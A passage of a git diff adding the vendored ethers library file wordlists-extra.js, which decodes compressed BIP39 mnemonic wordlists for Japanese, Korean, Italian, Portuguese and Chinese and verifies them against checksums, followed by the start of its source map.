Adem@CeLe%OmoRa!RozUn0DazD$GeLaM,#S,)T^0AlAnceA+EEl]`E`EstruzI.I<2ErU{U'0Af[nArO)Uc Uf_Ul:BaB^|eH@IleJ Lanz/c.LdeMbuN>Nd-oRb(>RnizR+Scu]S#nSu[Tal]T!@T*Tu%UlZ 3BeBid/=S SoSt@3|oEnNgo2An>OqueUsa2ABi`BoCaCi`DaDegaIn//!oLsaMb-{dNi#N}saiRdeRr SqueTeTinVe{Zal2AvoAzoEchaEveIl=In>IsaOcaOmaOnceO)UjaUs>U#2CeoCleE'EyFan{F.HoIt_L#Rbuj(l(+Sc TacaZ.:Bal=BezaBi`B[CaoDav!D,aErFeI{ImanJaJ.LLam Lc$L&Li{dLleLm/^LvoMaMb$Mel=Mi'Mp}c!Nd?Nel-gu+Nic-#N-.ObaOsPazPi%nPo)Pt Puch((b.RcelRe%Rg(i'RneRpe%R+R%SaS>S!oSpaS#rT^ceT_U{lUsaZo3Bol]D!D+Ld/eb_LoAmpuAnc]ApaAr]I>Is)IvoOqueOzaUle%Up 0Cl.EgoE=EnEr#F[G +M->NeN%P_sR>Rue]SneTaU{d2Am^AnA+AseAveI,)ImaInica2B_Cc~|i'Ci`CoDigoDoF_G!He)JinJoL/ch/eg$Lg Lin/l LmoLum`Mba)M!Mi{Mo&Mpr-deNej}g-oc!Nsej}t PaPi(az.Rba%RchoR&nR.(r!S!SmosS%2AneoAt!E Ec!Ei&EmaIaIm,Ip%IsisOmoOnicaOque%U&Uz2Ad+Ar#At+BoBr*| aEl=En#Er{Es%EvaId Lebr/p/#Mb_Mpl*N-e%O%P.Pul( R$Se'Sf[z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r/>Le%Li&Lm/om/p NNalNi>Nt!-ue=PaPelP?]Que)R Rcel(edR*RoRpa&RqueR[foR)S SeoS~SoS%TaT$Tr@UsaU%VoYa<3A#nCa&C!a|oDalD*G IneL L{'Le/ig+LlejoLoLuc--s N.OnOrPi'Que'R(ch(d!Rez(f?Ri>Rl(mizEgun%Em$EnsaE|!oD^Eb=Er%Es#Lg/*Lm.LpoLrNd*N%P #Pet*PoN{PaP!oSaScaSt+T 5BiB^DoE{G*I&In/e%LoMboM^Ptu[TaTi`:Ba&B!B$BleC GazG[&L/&L!oL*Lm.L.Ls/#LudLv Mb-c~Ndi-e Ng_Ni{dN}#PoQueRdin()nSt_TanU`Xof.3Cc~CoC_#C%DGu*IsL=LvaMa`M?l-d-Re'Rg*S#T?:Ba>BiqueB]BuCoC#JoL L>L,#Ll/.Ma'Mb^Ng}quePaPe)P@P.Qu?l(deRe(if(je%RotR+R%TuajeU+ZaZ.3At+|oC]CnicaJa&J!Ji&L/efo'MaM^Mp=NazNd!N!NisNRmi'Rnur(+rSisSo+StigoT!aX#Z3B$Bu+nEmpoEn{Er[EPoR(.TanT!eTu=Za5Al]B?=C Ci'DoG/&M N}#P PeQueRaxR!oRm,%RneoRoRpe&R_RS!Xi>2AbajoAc#rA!Afi>AgoAjeAmoAnceA#AumaAz EbolEguaEin%EnEp EsIbuIgoIpaIs)IunfoOfeoOmpaOn>OpaO)OzoU>Ue'Ufa2B!@BoEr#MbaM^NelNic(bin(ismoR'T^:0Ic 9C!a0B[l0I{dIrIv! b) { + return 1; + } + return 0; + } + // Load all the words + for (let length = 3; length <= 9; length++) { + const d = data$2[length - 3]; + for (let offset = 0; offset < d.length; offset += length) { + const word = []; + for (let i = 0; i < length; i++) { + const k = mapping.indexOf(d[offset + i]); + word.push(227); + word.push((k & 0x40) ? 130 : 129); + word.push((k & 0x3f) + 128); + } + wordlist.push(toString(word)); + } + } + wordlist.sort(sortJapanese); + // For some reason kyoku and kiyoku are flipped in node (!!). + // The order SHOULD be: + // - kyoku + // - kiyoku + // This should ignore "if", but that doesn't work here?? + /* c8 ignore start */ + if (hex(wordlist[442]) === KiYoKu && hex(wordlist[443]) === KyoKu) { + const tmp = wordlist[442]; + wordlist[442] = wordlist[443]; + wordlist[443] = tmp; + } + /* c8 ignore stop */ + // Verify the computed list matches the official list + /* istanbul ignore if */ + const checksum = id(wordlist.join("\n") + "\n"); + /* c8 ignore start */ + if (checksum !== "0xcb36b09e6baa935787fd762ce65e80b0c6a8dabdfbc3a7f86ac0e2c4fd111600") { + throw new Error("BIP39 Wordlist for ja (Japanese) FAILED"); + } + /* c8 ignore stop */ + _wordlist$2 = wordlist; + return wordlist; +} +let wordlist$3 = null; +/** + * The [[link-bip39-ja]] for [mnemonic phrases](link-bip-39). + * + * @_docloc: api/wordlists + */ +class LangJa extends Wordlist { + /** + * Creates a new instance of the Japanese language Wordlist. + * + * This should be unnecessary most of the time as the exported + * [[langJa]] should suffice. + * + * @_ignore: + */ + constructor() { super("ja"); } + getWord(index) { + const words = loadWords$2(); + assertArgument(index >= 0 && index < words.length, `invalid word index: ${index}`, "index", index); + return words[index]; + } + getWordIndex(word) { + return loadWords$2().indexOf(word); + } + split(phrase) { + //logger.assertNormalize(); + return phrase.split(/(?:\u3000| )+/g); + } + join(words) { + return words.join("\u3000"); + } + /** + * Returns a singleton instance of a ``LangJa``, creating it + * if this is the first time being called. + */ + static wordlist() { + if (wordlist$3 == null) { + wordlist$3 = new LangJa(); + } + return wordlist$3; + } +} + +const data$1 = [ + "OYAa", + "ATAZoATBl3ATCTrATCl8ATDloATGg3ATHT8ATJT8ATJl3ATLlvATLn4ATMT8ATMX8ATMboATMgoAToLbAToMTATrHgATvHnAT3AnAT3JbAT3MTAT8DbAT8JTAT8LmAT8MYAT8MbAT#LnAUHT8AUHZvAUJXrAUJX8AULnrAXJnvAXLUoAXLgvAXMn6AXRg3AXrMbAX3JTAX3QbAYLn3AZLgvAZrSUAZvAcAZ8AaAZ8AbAZ8AnAZ8HnAZ8L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g3MnoLn3MToLlrETvMT8SToAl3MbrDU6GTvMb8LX4LhrPlrLXGXCnSToLf8Rg3STrDb8LTrSTvLTHXMnSb3RYLnMnSgOg6ATFg", + "HUDlGnrQXrJTrHgLnrAcJYMb8DULc8LTvFgGnCk3Mg8JbAnLX4QYvFYHnMXrRUoJnGnvFnRlvFTJlQnoSTrBXHXrLYSUJgLfoMT8Se8DTrHbDb", + "AbDl8SToJU8An3RbAb8ST8DUSTrGnrAgoLbFU6Db8LTrMg8AaHT8Jb8ObDl8SToJU8Pb3RlvFYoJl" +]; +const codes$1 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*"; +function getHangul(code) { + if (code >= 40) { + code = code + 168 - 40; + } + else if (code >= 19) { + code = code + 97 - 19; + } + return toUtf8String(new Uint8Array([225, (code >> 6) + 132, (code & 0x3f) + 128])); +} +let _wordlist$1 = null; +function loadWords$1() { + if (_wordlist$1 != null) { + return _wordlist$1; + } + const wordlist = []; + data$1.forEach((data, length) => { + length += 4; + for (let i = 0; i < data.length; i += length) { + let word = ""; + for (let j = 0; j < length; j++) { + word += getHangul(codes$1.indexOf(data[i + j])); + } + wordlist.push(word); + } + }); + wordlist.sort(); + // Verify the computed list matches the official list + /* istanbul ignore if */ + const checksum = id(wordlist.join("\n") + "\n"); + /* c8 ignore start */ + if (checksum !== "0xf9eddeace9c5d3da9c93cf7d3cd38f6a13ed3affb933259ae865714e8a3ae71a") { + throw new Error("BIP39 Wordlist for ko (Korean) FAILED"); + } + /* c8 ignore stop */ + _wordlist$1 = wordlist; + return wordlist; +} +let wordlist$2 = null; +/** + * The [[link-bip39-ko]] for [mnemonic phrases](link-bip-39). + * + * @_docloc: api/wordlists + */ +class LangKo extends Wordlist { + /** + * Creates a new instance of the Korean language Wordlist. + * + * This should be unnecessary most of the time as the exported + * [[langKo]] should suffice. + * + * @_ignore: + */ + constructor() { + super("ko"); + } + getWord(index) { + const words = loadWords$1(); + assertArgument(index >= 0 && index < words.length, `invalid word index: ${index}`, "index", index); + return words[index]; + } + getWordIndex(word) { + return loadWords$1().indexOf(word); + } + /** + * Returns a singleton instance of a ``LangKo``, creating it + * if this is the first time being called. + */ + static wordlist() { + if (wordlist$2 == null) { + wordlist$2 = new LangKo(); + } + return wordlist$2; + } +} + +const words$1 = "0torea noica!iosorolotaleratelanena%oiadoencotivomai t ca%a0A]Bagl'Bin#E.Is(Oli!Rasi_Rog#0Cade!C[$Cus#E Roba+U 0Ag'Deb{DomeEgu#Eri!IpeOtt&Ul&1Fabi,Fe|Fis(F-n Oris`O(R~$0AveEn.E_,Ganc'I!It&OnismoR>*Rume Uzzo4AbardaA Bat)Ber#BoBumeCeCol>E|Ertu-OdePari!Pe^ Pogg'P)@Pun Ri,1Ab~AchideAgos+Ald~Anc'Atu-AzzoBit)Chiv'D{Eni,G[ GiSoTef%eZil*0Ciu|Col EpsiEtt>Fal I$O/Pir#P)Sagg'SeSolu Sur@TaT[u T%eT-|0Av>EismoOm>O$TesaTiv&Tor$Tr{Tua,0Sil'Str?Tis+To$moTun$0Anz#E!V[i!Vi(Volge!3IoS(Tos+Ttu U,VaVosa3C]FfaLg'LvaNdaNe_,Nig$Nzi=ReRli=Ta3Bi+CiDoR@S]Tan>T^$Zzo*2Acc'AdipoA`An}Avu-E.l/Eve|EzzaIgl?Il/n.Ind&Oc]*O@Onzi=Ul*U$2BboT+di$UffoVet+Vi,2Ass>In~O)2C]Dar@D%eE!n.G$meLl&Lm#Lo!Lpo(L^v#LzaMaMe+M`n@Mo@Mpu.rMuS+n.Ttu-V#2A.!Avat+E#Ede!Emo(Esci+E+Ice I=,IsiIt>OceO=}Os++Uc?,Us}2Ci!Cu*Gi$Ll#Po/R#!R(!R_Sci$S de:DoI$L`+Meri$Nie/N$(Nz&T#Van^Vve)3Bu|C[n'Ci(Cli$Col*C! D%#Fin{FormeG$Leg&Lfi$Lir'L+M[zaNot#Nt)Pos{Rapa+Riv&RogaScri|Ser Sider'Sume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r(C?,Da,Ffi|G$Ld#L[M`NdaNe|Nnife)Pi!Ppe(P-Rge!Rpas(Rri(R(R.gg'R_l#Spi)S+T^,0AdaAl/Arge!A /Av[ Azzo/EcieEdi!EgRappoReg#Ridu*Rozz&Ru|Ucc&UfoUp[@0B[t)C](Do!Gger{GoL+$On&PerboPpor Rgel#R)g#Ssur)Tu-0Ag&EdeseEgl'El&Enu Ez?IluppoIs+Izze-Ol+Uot&:Bac]Bul#Cci&Citur$LeLis`$MpoVer=Vo/+Zza3CaCn>Lefo$Me-r'MpoMu N@Pog-foRagg'RoTan'To*Tuban.Z'Zzo<5Cc&L,r&L Mbo/MoNfoNsil/Paz'Po*g?PpaRbaRn&R)L,t+Lo)(Lut&L_/Mpa+Ng&N{(NoN+gg'Nve-Po!Ra$Rc#R?n.S}3Det+DovaDu Ge+,I]*Lc)Li=Llu LoceN#Ndemm?N RaceRba,Rgog=Rif~RoRru}Rt~,Sc~Ssil*S+,Te-$Tri=Tus 3Andan.B-n.C[daChingoCi=nzaDim&Gil?G< Go!LeL/$MiniNc{!O/Pe-Rgo/Ro*goRu,n S](S'5Cche)Fo*LuPpa"; +const checksum$1 = "0x5c1362d88fd4cf614a96f3234941d29f7d37c08c5292fde03bf62c2db6ff7620"; +let wordlist$1 = null; +/** + * The [[link-bip39-it]] for [mnemonic phrases](link-bip-39). + * + * @_docloc: api/wordlists + */ +class LangIt extends WordlistOwl { + /** + * Creates a new instance of the Italian language Wordlist. + * + * This should be unnecessary most of the time as the exported + * [[langIt]] should suffice. + * + * @_ignore: + */ + constructor() { super("it", words$1, checksum$1); } + /** + * Returns a singleton instance of a ``LangIt``, creating it + * if this is the first time being called. + */ + static wordlist() { + if (wordlist$1 == null) { + wordlist$1 = new LangIt(); + } + return wordlist$1; + } +} + +const words = "0arad!ototealirertainrasoent hoandoaR#riareha!aroele'oronul0Aca%AixoAl A%rDuz'El]Er$IsmoO$ Rum S-&T(i&TigoVo[=0F&.Il#P' S?S* So&/Sun$Tr&0Ac#Adu+Al/A[f E End(Er_EuIng'Ir?IvoOl{oRac Revi=RizU&Um0Di$rM-.R>o+TismoT|@Tu 0Ali An%Ar@Ent&Es,I?Is Ul,1Ila1Ar E=Ei%Ulejo:B BosaC&]uCh `C@GagemI+c>~/Se#S)n%Ta)Te=rTidaTomTuc Unil]3B(IjoIr^IsebolLd!eLezaLgaLisc Ndi$Ng&aNz(RimbauRl*d>_Sou_XigaZ(_3CoCu=En&Foc&Furc G|naLhe%Mest[Mo$rOlog@OmboOsf(aPol Rr-$Scoi$Sne$SpoSsex$TolaZ _2Ind#OcoOque 2A$BagemC#CejoChec]Ico.L^LetimL]LoMb{oNdeNecoNi)Rb~h>d>e&R+c]V*oXe?2AncoAsaAvezaEuIgaIl/Inc OaOchu+Onze O$Uxo2C]DismoF LeRacoScaS$Z*a:Bimb Rn{oRpe%R['>)zRv&/SacoScaSeb[S%loS~oT a)Tiv UleUs?U%l V&oV(na3BolaDil]G}]Lebr L~ Nou+N,N%ioRc Rr#R%'oRvejaTimV^2Aco)Al{aAm#Ap^ArmeAticeAveEfeEg^E'oEqueIco%If[In`oOc&/Ov(UmboU.Uva0CatrizCl}eD!eD['aEn%Gcui$Rurg@T 2A[zaE_Ic OneUbe2A=Ag'Ba@B($rBr C^El/Ent_E,Gum`oIb'IfaIo%L L{aLh(Lid'Lme@L}oLunaM<=Mb* M-.MitivaMov(MplexoMumNc]N=rNec.Nfu,Ng` Nhec(Njug Nsum'Nt+$Nvi%Op( P{oPi?PoQue%lRagemRdi&Rne)R}h>p|&R[ioR%joRuj>voSs-oS%laT}e%U_UveVilZ*]2A%+AvoEcheE=rEmeErEspoI^Im*&Io~oIseItic Os)UaUz{o2B+m SafioSbo.Sc<,S-/Sfi#Sgas%Sigu&SlizeSmam SovaSpesaS)queSvi T&h T-$rT} Tri$UsaV(Vi=Vot#Z-a3Ag+maAle$Da)Fu,Gi.Lat#Lu-%M*u'Nast@Nh{oOceseRe$Sc[)Sf ceSp oSque%Ssip S)n%T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u$rAfeg Aje$AmaAnc ApoAs{oAt?Av E*oEm(Epid EvoIagemIboIcicloId-%Ilog@Ind!eIploItur Iunf&Oc Ombe)OvaUnfoUque2B~ CquesaT` T|i&:7V 3Bigo0HaId!eIf|me3Olog@SoTigaUbu0A=InaUfru':C*aDi G o,I=,LaL-%Lid!eLo[sN)gemQu{oRe)Rr(Sc~ Sil]S,u+Z Zio3A=D Ge.Ic~ L{oLhiceLu=Nce=rNdav&N( Nt[Rb&Rd!eRe?Rg}h>m`/RnizRs R%n%SpaSti=T|i&3Adu$AgemAj Atu+Br?D{aDr @ElaGaG-%Gi G| L ejoNcoNhe)NilOle)R!>tudeSi.S$Tr&V{oZ*/5A=rArG&L<%LeibolL)gemLumo,Nt!e5L$Vuz`a::D[zRope3QueRe.Rife3Ng ::Ng#Rp 3BuL?9Mb Olog@5Mbi="; +const checksum = "0x2219000926df7b50d8aa0a3d495826b988287df4657fbd100e6fe596c8f737ac"; +let wordlist = null; +/** + * The [[link-bip39-pt]] for [mnemonic phrases](link-bip-39). + * + * @_docloc: api/wordlists + */ +class LangPt extends WordlistOwl { + /** + * Creates a new instance of the Portuguese language Wordlist. + * + * This should be unnecessary most of the time as the exported + * [[langPt]] should suffice. + * + * @_ignore: + */ + constructor() { super("pt", words, checksum); } + /** + * Returns a singleton instance of a ``LangPt``, creating it + * if this is the first time being called. + */ + static wordlist() { + if (wordlist == null) { + wordlist = new LangPt(); + } + return wordlist; + } +} + +const data = "}aE#4A=Yv&co#4N#6G=cJ&SM#66|/Z#4t&kn~46#4K~4q%b9=IR#7l,mB#7W_X2*dl}Uo~7s}Uf&Iw#9c&cw~6O&H6&wx&IG%v5=IQ~8a&Pv#47$PR&50%Ko&QM&3l#5f,D9#4L|/H&tQ;v0~6n]nN> 2), + 128 + codes.indexOf(data[i * 3 + 1]), + 128 + codes.indexOf(data[i * 3 + 2]), + ]; + if (locale === "zh_tw") { + const common = s % 4; + for (let i = common; i < 3; i++) { + bytes[i] = codes.indexOf(deltaData[deltaOffset++]) + ((i == 0) ? 228 : 128); + } + } + wordlist.push(toUtf8String(new Uint8Array(bytes))); + } + // Verify the computed list matches the official list + const checksum = id(wordlist.join("\n") + "\n"); + /* c8 ignore start */ + if (checksum !== Checks[locale]) { + throw new Error(`BIP39 Wordlist for ${locale} (Chinese) FAILED`); + } + /* c8 ignore stop */ + _wordlist[locale] = wordlist; + return wordlist; +} +const wordlists = {}; +/** + * The [[link-bip39-zh_cn]] and [[link-bip39-zh_tw]] for + * [mnemonic phrases](link-bip-39). + * + * @_docloc: api/wordlists + */ +class LangZh extends Wordlist { + /** + * Creates a new instance of the Chinese language Wordlist for + * the %%dialect%%, either ``"cn"`` or ``"tw"`` for simplified + * or traditional, respectively. + * + * This should be unnecessary most of the time as the exported + * [[langZhCn]] and [[langZhTw]] should suffice. + * + * @_ignore: + */ + constructor(dialect) { super("zh_" + dialect); } + getWord(index) { + const words = loadWords(this.locale); + assertArgument(index >= 0 && index < words.length, `invalid word index: ${index}`, "index", index); + return words[index]; + } + getWordIndex(word) { + return loadWords(this.locale).indexOf(word); + } + split(phrase) { + phrase = phrase.replace(/(?:\u3000| )+/g, ""); + return phrase.split(""); + } + /** + * Returns a singleton instance of a ``LangZh`` for %%dialect%%, + * creating it if this is the first time being called. + * + * Use the %%dialect%% ``"cn"`` or ``"tw"`` for simplified or + * traditional, respectively. + */ + static wordlist(dialect) { + if (wordlists[dialect] == null) { + wordlists[dialect] = new LangZh(dialect); + } + return wordlists[dialect]; + } +} + +export { LangCz, LangEs, LangFr, LangIt, LangJa, LangKo, LangPt, LangZh }; +//# sourceMappingURL=wordlists-extra.js.map diff --git a/node_modules/ethers/dist/wordlists-extra.js.map b/node_modules/ethers/dist/wordlists-extra.js.map new file mode 100644 index 000000000000..b6760784091d --- /dev/null +++ b/node_modules/ethers/dist/wordlists-extra.js.map @@ -0,0 +1 @@ +{"version":3,"file":"wordlists-extra.js","sources":["../node_modules/@noble/hashes/esm/_assert.js","../node_modules/@noble/hashes/esm/utils.js","../node_modules/@noble/hashes/esm/_u64.js","../lib.esm/_version.js","../lib.esm/utils/properties.js","../lib.esm/utils/errors.js","../lib.esm/utils/data.js","../lib.esm/utils/utf8.js","../node_modules/@noble/hashes/esm/sha3.js","../lib.esm/crypto/keccak.js","../lib.esm/hash/id.js","../lib.esm/wordlists/decode-owl.js","../lib.esm/wordlists/wordlist.js","../lib.esm/wordlists/wordlist-owl.js","../lib.esm/wordlists/lang-cz.js","../lib.esm/wordlists/bit-reader.js","../lib.esm/wordlists/decode-owla.js","../lib.esm/wordlists/wordlist-owla.js","../lib.esm/wordlists/lang-es.js","../lib.esm/wordlists/lang-fr.js","../lib.esm/wordlists/lang-ja.js","../lib.esm/wordlists/lang-ko.js","../lib.esm/wordlists/lang-it.js","../lib.esm/wordlists/lang-pt.js","../lib.esm/wordlists/lang-zh.js"],"sourcesContent":["function number(n) {\n if (!Number.isSafeInteger(n) || n < 0)\n throw new Error(`Wrong positive integer: ${n}`);\n}\nfunction bool(b) {\n if (typeof b !== 'boolean')\n throw new Error(`Expected boolean, not ${b}`);\n}\nfunction bytes(b, ...lengths) {\n if (!(b instanceof Uint8Array))\n throw new Error('Expected Uint8Array');\n if (lengths.length > 0 && !lengths.includes(b.length))\n throw new Error(`Expected Uint8Array of length ${lengths}, not of length=${b.length}`);\n}\nfunction hash(hash) {\n if (typeof hash !== 'function' || typeof hash.create !== 'function')\n throw new Error('Hash should be wrapped by utils.wrapConstructor');\n number(hash.outputLen);\n number(hash.blockLen);\n}\nfunction exists(instance, checkFinished = true) {\n if (instance.destroyed)\n throw new Error('Hash instance has been destroyed');\n if (checkFinished && instance.finished)\n throw new Error('Hash#digest() has already been called');\n}\nfunction output(out, instance) {\n bytes(out);\n const min = instance.outputLen;\n if (out.length < min) {\n throw new Error(`digestInto() expects output buffer of length at least ${min}`);\n }\n}\nexport { number, bool, bytes, hash, exists, output };\nconst assert = { number, bool, bytes, hash, exists, output };\nexport default assert;\n//# sourceMappingURL=_assert.js.map","/*! noble-hashes - MIT License (c) 2022 Paul Miller (paulmillr.com) */\n// We use WebCrypto aka globalThis.crypto, which exists in browsers and node.js 16+.\n// node.js versions earlier than v19 don't declare it in global scope.\n// For node.js, package.json#exports field mapping rewrites import\n// from `crypto` to `cryptoNode`, which imports native module.\n// Makes the utils un-importable in browsers without a bundler.\n// Once node.js 18 is deprecated, we can just drop the import.\nimport { crypto } from '@noble/hashes/crypto';\nconst u8a = (a) => a instanceof Uint8Array;\n// Cast array to different type\nexport const u8 = (arr) => new Uint8Array(arr.buffer, arr.byteOffset, arr.byteLength);\nexport const u32 = (arr) => new Uint32Array(arr.buffer, arr.byteOffset, Math.floor(arr.byteLength / 4));\n// Cast array to view\nexport const createView = (arr) => new DataView(arr.buffer, arr.byteOffset, arr.byteLength);\n// The rotate right (circular right shift) operation for uint32\nexport const rotr = (word, shift) => (word << (32 - shift)) | (word >>> shift);\n// big-endian hardware is rare. Just in case someone still decides to run hashes:\n// early-throw an error because we don't support BE yet.\nexport const isLE = new Uint8Array(new Uint32Array([0x11223344]).buffer)[0] === 0x44;\nif (!isLE)\n throw new Error('Non little-endian hardware is not supported');\nconst hexes = /* @__PURE__ */ Array.from({ length: 256 }, (_, i) => i.toString(16).padStart(2, '0'));\n/**\n * @example bytesToHex(Uint8Array.from([0xca, 0xfe, 0x01, 0x23])) // 'cafe0123'\n */\nexport function bytesToHex(bytes) {\n if (!u8a(bytes))\n throw new Error('Uint8Array expected');\n // pre-caching improves the speed 6x\n let hex = '';\n for (let i = 0; i < bytes.length; i++) {\n hex += hexes[bytes[i]];\n }\n return hex;\n}\n/**\n * @example hexToBytes('cafe0123') // Uint8Array.from([0xca, 0xfe, 0x01, 0x23])\n */\nexport function hexToBytes(hex) {\n if (typeof hex !== 'string')\n throw new Error('hex string expected, got ' + typeof hex);\n const len = hex.length;\n if (len % 2)\n throw new Error('padded hex string expected, got unpadded hex of length ' + len);\n const array = new Uint8Array(len / 2);\n for (let i = 0; i < array.length; i++) {\n const j = i * 2;\n const hexByte = hex.slice(j, j + 2);\n const byte = Number.parseInt(hexByte, 16);\n if (Number.isNaN(byte) || byte < 0)\n throw new Error('Invalid byte sequence');\n array[i] = byte;\n }\n return array;\n}\n// There is no setImmediate in browser and setTimeout is slow.\n// call of async fn will return Promise, which will be fullfiled only on\n// next scheduler queue processing step and this is exactly what we need.\nexport const nextTick = async () => { };\n// Returns control to thread each 'tick' ms to avoid blocking\nexport async function asyncLoop(iters, tick, cb) {\n let ts = Date.now();\n for (let i = 0; i < iters; i++) {\n cb(i);\n // Date.now() is not monotonic, so in case if clock goes backwards we return return control too\n const diff = Date.now() - ts;\n if (diff >= 0 && diff < tick)\n continue;\n await nextTick();\n ts += diff;\n }\n}\n/**\n * @example utf8ToBytes('abc') // new Uint8Array([97, 98, 99])\n */\nexport function utf8ToBytes(str) {\n if (typeof str !== 'string')\n throw new Error(`utf8ToBytes expected string, got ${typeof str}`);\n return new Uint8Array(new TextEncoder().encode(str)); // https://bugzil.la/1681809\n}\n/**\n * Normalizes (non-hex) string or Uint8Array to Uint8Array.\n * Warning: when Uint8Array is passed, it would NOT get copied.\n * Keep in mind for future mutable operations.\n */\nexport function toBytes(data) {\n if (typeof data === 'string')\n data = utf8ToBytes(data);\n if (!u8a(data))\n throw new Error(`expected Uint8Array, got ${typeof data}`);\n return data;\n}\n/**\n * Copies several Uint8Arrays into one.\n */\nexport function concatBytes(...arrays) {\n const r = new Uint8Array(arrays.reduce((sum, a) => sum + a.length, 0));\n let pad = 0; // walk through each item, ensure they have proper type\n arrays.forEach((a) => {\n if (!u8a(a))\n throw new Error('Uint8Array expected');\n r.set(a, pad);\n pad += a.length;\n });\n return r;\n}\n// For runtime check if class implements interface\nexport class Hash {\n // Safe version that clones internal state\n clone() {\n return this._cloneInto();\n }\n}\nconst toStr = {}.toString;\nexport function checkOpts(defaults, opts) {\n if (opts !== undefined && toStr.call(opts) !== '[object Object]')\n throw new Error('Options should be object or undefined');\n const merged = Object.assign(defaults, opts);\n return merged;\n}\nexport function wrapConstructor(hashCons) {\n const hashC = (msg) => hashCons().update(toBytes(msg)).digest();\n const tmp = hashCons();\n hashC.outputLen = tmp.outputLen;\n hashC.blockLen = tmp.blockLen;\n hashC.create = () => hashCons();\n return hashC;\n}\nexport function wrapConstructorWithOpts(hashCons) {\n const hashC = (msg, opts) => hashCons(opts).update(toBytes(msg)).digest();\n const tmp = hashCons({});\n hashC.outputLen = tmp.outputLen;\n hashC.blockLen = tmp.blockLen;\n hashC.create = (opts) => hashCons(opts);\n return hashC;\n}\nexport function wrapXOFConstructorWithOpts(hashCons) {\n const hashC = (msg, opts) => hashCons(opts).update(toBytes(msg)).digest();\n const tmp = hashCons({});\n hashC.outputLen = tmp.outputLen;\n hashC.blockLen = tmp.blockLen;\n hashC.create = (opts) => hashCons(opts);\n return hashC;\n}\n/**\n * Secure PRNG. Uses `crypto.getRandomValues`, which defers to OS.\n */\nexport function randomBytes(bytesLength = 32) {\n if (crypto && typeof crypto.getRandomValues === 'function') {\n return crypto.getRandomValues(new Uint8Array(bytesLength));\n }\n throw new Error('crypto.getRandomValues must be defined');\n}\n//# sourceMappingURL=utils.js.map","const U32_MASK64 = /* @__PURE__ */ BigInt(2 ** 32 - 1);\nconst _32n = /* @__PURE__ */ BigInt(32);\n// We are not using BigUint64Array, because they are extremely slow as per 2022\nfunction fromBig(n, le = false) {\n if (le)\n return { h: Number(n & U32_MASK64), l: Number((n >> _32n) & U32_MASK64) };\n return { h: Number((n >> _32n) & U32_MASK64) | 0, l: Number(n & U32_MASK64) | 0 };\n}\nfunction split(lst, le = false) {\n let Ah = new Uint32Array(lst.length);\n let Al = new Uint32Array(lst.length);\n for (let i = 0; i < lst.length; i++) {\n const { h, l } = fromBig(lst[i], le);\n [Ah[i], Al[i]] = [h, l];\n }\n return [Ah, Al];\n}\nconst toBig = (h, l) => (BigInt(h >>> 0) << _32n) | BigInt(l >>> 0);\n// for Shift in [0, 32)\nconst shrSH = (h, _l, s) => h >>> s;\nconst shrSL = (h, l, s) => (h << (32 - s)) | (l >>> s);\n// Right rotate for Shift in [1, 32)\nconst rotrSH = (h, l, s) => (h >>> s) | (l << (32 - s));\nconst rotrSL = (h, l, s) => (h << (32 - s)) | (l >>> s);\n// Right rotate for Shift in (32, 64), NOTE: 32 is special case.\nconst rotrBH = (h, l, s) => (h << (64 - s)) | (l >>> (s - 32));\nconst rotrBL = (h, l, s) => (h >>> (s - 32)) | (l << (64 - s));\n// Right rotate for shift===32 (just swaps l&h)\nconst rotr32H = (_h, l) => l;\nconst rotr32L = (h, _l) => h;\n// Left rotate for Shift in [1, 32)\nconst rotlSH = (h, l, s) => (h << s) | (l >>> (32 - s));\nconst rotlSL = (h, l, s) => (l << s) | (h >>> (32 - s));\n// Left rotate for Shift in (32, 64), NOTE: 32 is special case.\nconst rotlBH = (h, l, s) => (l << (s - 32)) | (h >>> (64 - s));\nconst rotlBL = (h, l, s) => (h << (s - 32)) | (l >>> (64 - s));\n// JS uses 32-bit signed integers for bitwise operations which means we cannot\n// simple take carry out of low bit sum by shift, we need to use division.\nfunction add(Ah, Al, Bh, Bl) {\n const l = (Al >>> 0) + (Bl >>> 0);\n return { h: (Ah + Bh + ((l / 2 ** 32) | 0)) | 0, l: l | 0 };\n}\n// Addition with more than 2 elements\nconst add3L = (Al, Bl, Cl) => (Al >>> 0) + (Bl >>> 0) + (Cl >>> 0);\nconst add3H = (low, Ah, Bh, Ch) => (Ah + Bh + Ch + ((low / 2 ** 32) | 0)) | 0;\nconst add4L = (Al, Bl, Cl, Dl) => (Al >>> 0) + (Bl >>> 0) + (Cl >>> 0) + (Dl >>> 0);\nconst add4H = (low, Ah, Bh, Ch, Dh) => (Ah + Bh + Ch + Dh + ((low / 2 ** 32) | 0)) | 0;\nconst add5L = (Al, Bl, Cl, Dl, El) => (Al >>> 0) + (Bl >>> 0) + (Cl >>> 0) + (Dl >>> 0) + (El >>> 0);\nconst add5H = (low, Ah, Bh, Ch, Dh, Eh) => (Ah + Bh + Ch + Dh + Eh + ((low / 2 ** 32) | 0)) | 0;\n// prettier-ignore\nexport { fromBig, split, toBig, shrSH, shrSL, rotrSH, rotrSL, rotrBH, rotrBL, rotr32H, rotr32L, rotlSH, rotlSL, rotlBH, rotlBL, add, add3L, add3H, add4L, add4H, add5H, add5L, };\n// prettier-ignore\nconst u64 = {\n fromBig, split, toBig,\n shrSH, shrSL,\n rotrSH, rotrSL, rotrBH, rotrBL,\n rotr32H, rotr32L,\n rotlSH, rotlSL, rotlBH, rotlBL,\n add, add3L, add3H, add4L, add4H, add5H, add5L,\n};\nexport default u64;\n//# sourceMappingURL=_u64.js.map","/* Do NOT modify this file; see /src.ts/_admin/update-version.ts */\n/**\n * The current version of Ethers.\n */\nexport const version = \"6.15.0\";\n//# sourceMappingURL=_version.js.map","/**\n * Property helper functions.\n *\n * @_subsection api/utils:Properties [about-properties]\n */\nfunction checkType(value, type, name) {\n const types = type.split(\"|\").map(t => t.trim());\n for (let i = 0; i < types.length; i++) {\n switch (type) {\n case \"any\":\n return;\n case \"bigint\":\n case \"boolean\":\n case \"number\":\n case \"string\":\n if (typeof (value) === type) {\n return;\n }\n }\n }\n const error = new Error(`invalid value for type ${type}`);\n error.code = \"INVALID_ARGUMENT\";\n error.argument = `value.${name}`;\n error.value = value;\n throw error;\n}\n/**\n * Resolves to a new object that is a copy of %%value%%, but with all\n * values resolved.\n */\nexport async function resolveProperties(value) {\n const keys = Object.keys(value);\n const results = await Promise.all(keys.map((k) => Promise.resolve(value[k])));\n return results.reduce((accum, v, index) => {\n accum[keys[index]] = v;\n return accum;\n }, {});\n}\n/**\n * Assigns the %%values%% to %%target%% as read-only values.\n *\n * It %%types%% is specified, the values 